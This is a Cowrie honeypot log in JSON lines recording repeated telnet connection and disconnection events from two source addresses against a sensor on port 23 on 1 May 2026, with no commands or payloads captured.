{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36648,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d40c5be17f0","protocol":"telnet","message":"New connection: 208.115.200.90:36648 (10.17.0.5:23) [session: 8d40c5be17f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.505677Z"}
{"eventid":"cowrie.session.closed","duration":31.32627773284912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.510505Z","src_ip":"208.115.200.90","session":"ca53f59eea2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37370,"dst_ip":"10.17.0.5","dst_port":23,"session":"2957703bc371","protocol":"telnet","message":"New connection: 208.115.200.90:37370 (10.17.0.5:23) [session: 2957703bc371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.553234Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36742,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1a170dfb44","protocol":"telnet","message":"New connection: 208.115.200.90:36742 (10.17.0.5:23) [session: cb1a170dfb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.634398Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48800,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea6347c30b42","protocol":"telnet","message":"New connection: 208.115.219.122:48800 (10.17.0.5:23) [session: ea6347c30b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.756536Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37414,"dst_ip":"10.17.0.5","dst_port":23,"session":"253ff3701f49","protocol":"telnet","message":"New connection: 208.115.200.90:37414 (10.17.0.5:23) [session: 253ff3701f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.991502Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48880,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2687430996d","protocol":"telnet","message":"New connection: 208.115.219.122:48880 (10.17.0.5:23) [session: d2687430996d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.039116Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"eafe66f43949","protocol":"telnet","message":"New connection: 208.115.219.122:48902 (10.17.0.5:23) [session: eafe66f43949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.093034Z"}
{"eventid":"cowrie.session.closed","duration":31.10158348083496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.134125Z","src_ip":"208.115.200.90","session":"b9c95814bdf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48918,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d1d6c558b1","protocol":"telnet","message":"New connection: 208.115.219.122:48918 (10.17.0.5:23) [session: b3d1d6c558b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.151155Z"}
{"eventid":"cowrie.session.closed","duration":30.787441730499268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.156132Z","src_ip":"208.115.200.90","session":"608dcf4a335b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050678968429565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.180039Z","src_ip":"208.115.200.90","session":"e16941a8d6f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027459383010864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.200421Z","src_ip":"208.115.200.90","session":"293d85e8fc30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021477937698364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.249996Z","src_ip":"208.115.200.90","session":"32fb3eb580d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9693603515625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.273849Z","src_ip":"208.115.200.90","session":"f7f2c3b435b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37554,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dc2731bfba7","protocol":"telnet","message":"New connection: 208.115.200.90:37554 (10.17.0.5:23) [session: 4dc2731bfba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.332426Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37562,"dst_ip":"10.17.0.5","dst_port":23,"session":"34155bb53702","protocol":"telnet","message":"New connection: 208.115.200.90:37562 (10.17.0.5:23) [session: 34155bb53702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.338921Z"}
{"eventid":"cowrie.session.closed","duration":30.813000202178955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.343769Z","src_ip":"208.115.200.90","session":"374586e8b8fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37584,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0c2ca50d474","protocol":"telnet","message":"New connection: 208.115.200.90:37584 (10.17.0.5:23) [session: d0c2ca50d474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.355093Z"}
{"eventid":"cowrie.session.closed","duration":30.87487292289734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.365293Z","src_ip":"208.115.200.90","session":"270abbb8cbbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254603385925293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.370702Z","src_ip":"208.115.219.122","session":"49efdd05c7fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37938,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce87853b8739","protocol":"telnet","message":"New connection: 208.115.200.90:37938 (10.17.0.5:23) [session: ce87853b8739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.512995Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38202,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c1bfd40dad","protocol":"telnet","message":"New connection: 208.115.200.90:38202 (10.17.0.5:23) [session: 69c1bfd40dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.577062Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38466,"dst_ip":"10.17.0.5","dst_port":23,"session":"591380ccb877","protocol":"telnet","message":"New connection: 208.115.200.90:38466 (10.17.0.5:23) [session: 591380ccb877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.701867Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38534,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e5139bc056","protocol":"telnet","message":"New connection: 208.115.200.90:38534 (10.17.0.5:23) [session: f5e5139bc056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.748381Z"}
{"eventid":"cowrie.session.closed","duration":31.529960870742798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:47.954411Z","src_ip":"208.115.219.122","session":"d98fccb4162e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909698009490967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.012542Z","src_ip":"208.115.219.122","session":"daba6e76893d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828885793685913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.024307Z","src_ip":"208.115.219.122","session":"d1e57acaabad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937476634979248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.029966Z","src_ip":"208.115.219.122","session":"6df3a8d26c37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74605631828308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.040398Z","src_ip":"208.115.200.90","session":"08f2ce12e27a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59324,"dst_ip":"10.17.0.5","dst_port":23,"session":"f01a8b056016","protocol":"telnet","message":"New connection: 208.115.219.122:59324 (10.17.0.5:23) [session: f01a8b056016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.043760Z"}
{"eventid":"cowrie.session.closed","duration":30.982210636138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.081159Z","src_ip":"208.115.219.122","session":"eb3a87033e6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37470,"dst_ip":"10.17.0.5","dst_port":23,"session":"374a2619c2d0","protocol":"telnet","message":"New connection: 208.115.200.90:37470 (10.17.0.5:23) [session: 374a2619c2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.105785Z"}
{"eventid":"cowrie.session.closed","duration":31.050457239151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.116270Z","src_ip":"208.115.200.90","session":"27dde53a79f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49312,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d845aefe25","protocol":"telnet","message":"New connection: 208.115.219.122:49312 (10.17.0.5:23) [session: e6d845aefe25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.212214Z"}
{"eventid":"cowrie.session.closed","duration":30.72488045692444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.236893Z","src_ip":"208.115.200.90","session":"363c2e65e84a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aeb1f383817","protocol":"telnet","message":"New connection: 208.115.219.122:49336 (10.17.0.5:23) [session: 0aeb1f383817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.286176Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48978,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dbb2da86343","protocol":"telnet","message":"New connection: 208.115.219.122:48978 (10.17.0.5:23) [session: 5dbb2da86343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.298438Z"}
{"eventid":"cowrie.session.closed","duration":31.18066167831421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.307329Z","src_ip":"208.115.200.90","session":"2e7e499f5c61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49352,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5602c30cd65","protocol":"telnet","message":"New connection: 208.115.219.122:49352 (10.17.0.5:23) [session: e5602c30cd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.350423Z"}
{"eventid":"cowrie.session.closed","duration":31.2479031085968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.378923Z","src_ip":"208.115.200.90","session":"85ab25eaed7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49016,"dst_ip":"10.17.0.5","dst_port":23,"session":"e45e03426487","protocol":"telnet","message":"New connection: 208.115.219.122:49016 (10.17.0.5:23) [session: e45e03426487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.429604Z"}
{"eventid":"cowrie.session.closed","duration":31.071123838424683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.446838Z","src_ip":"208.115.200.90","session":"fee7340962f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.280666828155518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:48.540218Z","src_ip":"208.115.200.90","session":"90883fe6db71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49564,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fa843629d9a","protocol":"telnet","message":"New connection: 208.115.219.122:49564 (10.17.0.5:23) [session: 0fa843629d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.088513Z"}
{"eventid":"cowrie.session.closed","duration":30.431605339050293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.131843Z","src_ip":"208.115.200.90","session":"3ff6c19e6114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.277486324310303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.136722Z","src_ip":"208.115.200.90","session":"dc783eec568c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39294,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5527f420bf0","protocol":"telnet","message":"New connection: 208.115.200.90:39294 (10.17.0.5:23) [session: b5527f420bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.147373Z"}
{"eventid":"cowrie.session.closed","duration":30.788743019104004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.180228Z","src_ip":"208.115.200.90","session":"371d1d8101ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49604,"dst_ip":"10.17.0.5","dst_port":23,"session":"b03012fef59d","protocol":"telnet","message":"New connection: 208.115.219.122:49604 (10.17.0.5:23) [session: b03012fef59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.248443Z"}
{"eventid":"cowrie.session.closed","duration":30.973286390304565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.264912Z","src_ip":"208.115.200.90","session":"9ca38bb8c1cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.357981204986572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.390815Z","src_ip":"208.115.200.90","session":"5aacc77c3511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.306739330291748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.421348Z","src_ip":"208.115.219.122","session":"9d8f17094d49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904276132583618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.449229Z","src_ip":"208.115.200.90","session":"9bdea9343c3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39594,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e03b5862aa","protocol":"telnet","message":"New connection: 208.115.200.90:39594 (10.17.0.5:23) [session: 77e03b5862aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.465327Z"}
{"eventid":"cowrie.session.closed","duration":31.4213809967041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.475326Z","src_ip":"208.115.219.122","session":"d8df801c3ed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382824420928955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.588780Z","src_ip":"208.115.219.122","session":"edf215282b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167234420776367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:49.808926Z","src_ip":"208.115.200.90","session":"acd6063f65c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085383892059326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.166378Z","src_ip":"208.115.200.90","session":"c83532a16e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40514,"dst_ip":"10.17.0.5","dst_port":23,"session":"7698a80c93c6","protocol":"telnet","message":"New connection: 208.115.200.90:40514 (10.17.0.5:23) [session: 7698a80c93c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.195120Z"}
{"eventid":"cowrie.session.closed","duration":30.450934171676636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.287273Z","src_ip":"208.115.219.122","session":"81aad64878d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50102,"dst_ip":"10.17.0.5","dst_port":23,"session":"538ded0ce8a4","protocol":"telnet","message":"New connection: 208.115.219.122:50102 (10.17.0.5:23) [session: 538ded0ce8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.291345Z"}
{"eventid":"cowrie.session.closed","duration":31.17177128791809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.297753Z","src_ip":"208.115.200.90","session":"638198dc701c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40608,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c17e7413da","protocol":"telnet","message":"New connection: 208.115.200.90:40608 (10.17.0.5:23) [session: 22c17e7413da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.319190Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40658,"dst_ip":"10.17.0.5","dst_port":23,"session":"d648489e8445","protocol":"telnet","message":"New connection: 208.115.200.90:40658 (10.17.0.5:23) [session: d648489e8445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.384340Z"}
{"eventid":"cowrie.session.closed","duration":30.90285587310791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.452711Z","src_ip":"208.115.200.90","session":"ca6ac700e317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011667251586914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.474890Z","src_ip":"208.115.200.90","session":"775d3d7739a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725704669952393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.673974Z","src_ip":"208.115.200.90","session":"084593192c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50294,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b12e5a8eae","protocol":"telnet","message":"New connection: 208.115.219.122:50294 (10.17.0.5:23) [session: 12b12e5a8eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.830587Z"}
{"eventid":"cowrie.session.closed","duration":31.71376657485962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:50.883376Z","src_ip":"208.115.200.90","session":"f84b09045aef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41540,"dst_ip":"10.17.0.5","dst_port":23,"session":"40509768dabe","protocol":"telnet","message":"New connection: 208.115.200.90:41540 (10.17.0.5:23) [session: 40509768dabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.029159Z"}
{"eventid":"cowrie.session.closed","duration":31.00208044052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.089050Z","src_ip":"208.115.219.122","session":"f30f625e1656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50396,"dst_ip":"10.17.0.5","dst_port":23,"session":"52380e98071c","protocol":"telnet","message":"New connection: 208.115.219.122:50396 (10.17.0.5:23) [session: 52380e98071c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.110890Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41560,"dst_ip":"10.17.0.5","dst_port":23,"session":"a60de9090bee","protocol":"telnet","message":"New connection: 208.115.200.90:41560 (10.17.0.5:23) [session: a60de9090bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.158176Z"}
{"eventid":"cowrie.session.closed","duration":31.014621257781982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.193722Z","src_ip":"208.115.219.122","session":"7011b2dbf9b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41622,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f325e0b57c9","protocol":"telnet","message":"New connection: 208.115.200.90:41622 (10.17.0.5:23) [session: 5f325e0b57c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.249019Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41680,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15d5acf4244","protocol":"telnet","message":"New connection: 208.115.200.90:41680 (10.17.0.5:23) [session: d15d5acf4244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.382145Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41688,"dst_ip":"10.17.0.5","dst_port":23,"session":"92ba63747aab","protocol":"telnet","message":"New connection: 208.115.200.90:41688 (10.17.0.5:23) [session: 92ba63747aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.394228Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41752,"dst_ip":"10.17.0.5","dst_port":23,"session":"04e6c5d6d376","protocol":"telnet","message":"New connection: 208.115.200.90:41752 (10.17.0.5:23) [session: 04e6c5d6d376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.468066Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41772,"dst_ip":"10.17.0.5","dst_port":23,"session":"202f86be7237","protocol":"telnet","message":"New connection: 208.115.200.90:41772 (10.17.0.5:23) [session: 202f86be7237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.480102Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac981aaea08a","protocol":"telnet","message":"New connection: 208.115.200.90:41792 (10.17.0.5:23) [session: ac981aaea08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:51.498039Z"}
{"eventid":"cowrie.session.closed","duration":31.950765132904053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:52.000980Z","src_ip":"208.115.219.122","session":"3b4a52dfada6","protocol":"telnet"}
